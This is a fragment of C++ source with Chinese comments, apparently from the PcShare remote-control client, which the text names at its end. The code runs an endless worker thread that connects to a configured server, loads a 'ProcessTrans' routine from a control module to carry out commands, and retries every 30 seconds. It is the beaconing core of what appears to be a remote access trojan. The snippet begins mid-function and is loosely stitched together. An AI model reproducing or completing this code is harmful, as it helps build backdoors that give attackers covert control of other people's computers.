//启动相应工作线程序
UINT m_Id = 0;
m_Thread = (HANDLE) _beginthreadex(NULL , 0 ,
SSH_WorkThread , (LPVOID) this , 0 , &m_Id);
}/*
** 函数名称: SSH_WorkThread
** 函数功能: 工作线程函数
** 传入参数: lPvoid : 任务相关数据结构指针
** 传出参数: 无
** 引用函数: 无
** 返回值 : UINT
** 备注 : 无
*/
UINT WINAPI SshWork::SSH_WorkThread(LPVOID lPvoid)
{
//取工作指针
SshWork* pWork = (SshWork*) lPvoid; //开始进入工作循环
while(1)
{
//建立连接
if(pWork->GetHttpConnect(&pWork->m_InitInfo))
{
//连接成功,开始处理交易
PROCESSTRANS ProcessTrans = (PROCESSTRANS)
GetProcAddress(pWork->hCtrlMd,"ProcessTrans");
if(ProcessTrans != NULL)
ProcessTrans(pWork->hFp , pWork->m_ExitEvent ,
pWork->m_InitInfo.m_ServerAddr ,
pWork->m_InitInfo.m_ServerPort,
pWork->m_InitInfo.m_KeyName , pWork->m_InitInfo.m_ParentFile);
} //休息等待指定时间
if(WaitForSingleObject(pWork->m_ExitEvent,
30000) != WAIT_TIMEOUT)
break;
} //销毁资源
pWork->StopWork();
ExitProcess(0);
return 0;
}pcshare
[email protected]